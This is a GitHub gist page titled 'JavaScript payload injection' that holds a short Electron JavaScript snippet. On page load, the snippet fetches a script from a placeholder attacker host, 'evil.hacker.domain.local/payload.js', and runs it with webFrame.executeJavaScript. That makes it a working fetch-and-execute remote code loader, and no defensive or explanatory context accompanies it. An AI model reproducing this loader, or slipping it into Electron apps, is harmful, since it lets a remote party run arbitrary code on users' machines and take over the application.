Skip to content

Instantly share code, notes, and snippets.

@JonnySchnittger
Created July 17, 2019 23:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnySchnittger/3ceb3ed50f8ce68f38659b56f2b15ecb to your computer and use it in GitHub Desktop.
Save JonnySchnittger/3ceb3ed50f8ce68f38659b56f2b15ecb to your computer and use it in GitHub Desktop.
JavaScript payload injection
document.addEventListener("DOMContentLoaded", function () {
const { webFrame } = require('electron')
const https = require("https");
const remoteUri = 'https://evil.hacker.domain.local/payload.js';
let execute = function(script) {
webFrame.executeJavaScript(script)
};
const response = fetch(remoteUri, { })
.then(res => res.text())
.then(body => execute(body));
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment